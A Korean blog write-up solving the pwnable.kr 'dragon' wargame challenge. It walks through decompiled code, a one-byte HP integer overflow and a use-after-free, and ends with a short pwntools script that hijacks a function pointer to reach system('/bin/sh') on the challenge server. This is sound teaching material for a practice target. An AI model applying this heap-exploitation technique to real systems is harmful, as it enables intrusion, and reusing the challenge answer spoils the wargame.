본문 바로가기
Wargame Write-Up/Pwnable.kr

[Pwnable.kr] dragon 풀이

by snwo 2021. 10. 11.

dragon

TL;DR

IntegerOverflow (Logical bug?) + UAF

void __cdecl FightDragon(int select)
{
  char v1; // al
  int v2; // [esp+10h] [ebp-18h]
  int *player; // [esp+14h] [ebp-14h]
  int *dragon; // [esp+18h] [ebp-10h]
  void *v5; // [esp+1Ch] [ebp-Ch]

  player = malloc(0x10u);
  dragon = malloc(0x10u);
  v1 = Count++;
  if ( (v1 & 1) != 0 )
  {
    dragon[1] = 1;
    *(dragon + 8) = 80;
    *(dragon + 9) = 4;
    dragon[3] = 10;
    *dragon = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    dragon[1] = 0;
    *(dragon + 8) = 50;
    *(dragon + 9) = 5;
    dragon[3] = 30;
    *dragon = PrintMonsterInfo;
    puts("Baby Dragon Has Appeared!");
  }
  if ( select == 1 )
  {
    *player = 1;
    player[1] = 42;
    player[2] = 50;
    player[3] = PrintPlayerInfo;
    v2 = PriestAttack(player, dragon);
  }
  else
  {
    if ( select != 2 )
      return;
    *player = 2;
    player[1] = 50;
    player[2] = 0;
    player[3] = PrintPlayerInfo;
    v2 = KnightAttack(player, dragon);
  }
  if ( v2 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v5 = malloc(0x10u);
    __isoc99_scanf("%16s", v5);
    puts("And The Dragon You Have Defeated Was Called:");
    (*dragon)(dragon);
  }
  else
  {
    puts("\nYou Have Been Defeated!");
  }
  free(player);
}

player, dragon 을 0x10 씩 할당받고, 정보를 입력받는다.

Count 를 1씩 증가시켜 mama dragon 과 싸울건지, baby dragon 과 싸울껀지 정하는데,

[ Baby Dragon ] 50 HP / 30 Damage / +5 Life Regeneration.

[ Mama Dragon ] 80 HP / 10 Damage / +4 Life Regeneration.

스펙은 다음과 같다.

플레이어스펙을 살펴보면

[ Priest ] 42 HP / 50 MP
        [ 1 ] Holy Bolt [ Cost : 10 MP ]
                Deals 20 Damage.
        [ 2 ] Clarity [ Cost : 0 MP ]
                Refreshes All Mana.
        [ 3 ] HolyShield [ Cost: 25 MP ]
                You Become Temporarily Invincible.

[ Knight ] 50 HP / 0 Mana
        [ 1 ] Crash
                Deals 20 Damage.
        [ 2 ] Frenzy
                Deals 40 Damage, But You Lose 20 HP.

다음과 같다. Kight 는 딜이높긴하지만, 로직상 두 드래곤을 이길 수 없다.

Priest 도 정상적인 방법으로는 이길 수 없지만, Interger Overflow 를 통해 이길 수 있다.

*(dragon + 8) == 50 여기서 문제가 되는데,

dragon 의 hp 는 1바이트고, 매턴 회복하는 hp 가 있다.

존버를 한다면, 계속 회복하게해서 IntegerOverflow 가 일어나 128 (-1) 으로 만들면, 이길 수 있다.

case 3:
        if ( player[2] > 24 )
        {
          puts("HolyShield! You Are Temporarily Invincible...");
          printf("But The Dragon Heals %d HP!\n", *(dragon + 9));
          *(dragon + 8) += *(dragon + 9);
          player[2] -= 25;
          goto LABEL_11;
        }
        break;

성직자의 3번 스킬을 살펴보면

25 마나를 소모해 데미지를 입지 않을 수 있다.

근데 dragon 의 피는 계속 회복된다.

쉴드를 2번 쓰고, 마나를 회복하는 것을 반복하면 드레곤의 피를 계속 회복시킬 수 있다.

하지만 마나를 회복할 때는 데미지를 입으므로, 데미지가 낮은 mama dragon 을 대상으로 공격해야한다.

mama dragon 의 hp 는 80이고, 4씩 회복하므로 128 이 되기 위해선

12번 회복시켜야 한다.

332 를 4번 반복하면 되는데, 이때 플레이어가 입는 데미지의 양은

10*4 = 40 이므로, 128 을 만들 때 까지 hp 2 로 살아남을 수 있다.

if ( v2 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v5 = malloc(0x10u);
    __isoc99_scanf("%16s", v5);
    puts("And The Dragon You Have Defeated Was Called:");
    (*dragon)(dragon);
  }

이렇게 드래곤을 이기면, 힙 하나를 동일한 사이즈로 입력받고 dragon 의 info 를 출력해주는 함수를 실행시켜주는데, dragon 변수가 가리키는 힙은 위에 싸우는 함수에서 이미 free된 상태이고,

bin 에 들어가 있으니, 우리가 할당받는 힙은 dragon 변수가 가리키던 힙이다.

unsigned int SecretLevel()
{
  char s1[10]; // [esp+12h] [ebp-16h] BYREF
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", s1);
  if ( strcmp(s1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    puts("Wrong!\n");
    exit(-1);
  }
  system("/bin/sh");
  return __readgsdword(0x14u) ^ v2;
}

직업선택할 때, 3번을 누르면 저런 이상한 함수가 실행되는데, 10만큼 입력받아 조건을 만족시킬 수 없으므로, system("/bin/sh") 가 위치한 주소를 입력하면, 쉘이 따인다.

from pwn import *
r=remote("pwnable.kr",9004);

r.send("1\n1\n1\n") # first dragon is baby, next dragon is mama
r.sendline("1") # priest
r.send("3\n3\n2\n"*4) #integer overflow
r.sendline(p32(0x8048DBF)) #system("/bin/sh")
r.interactive()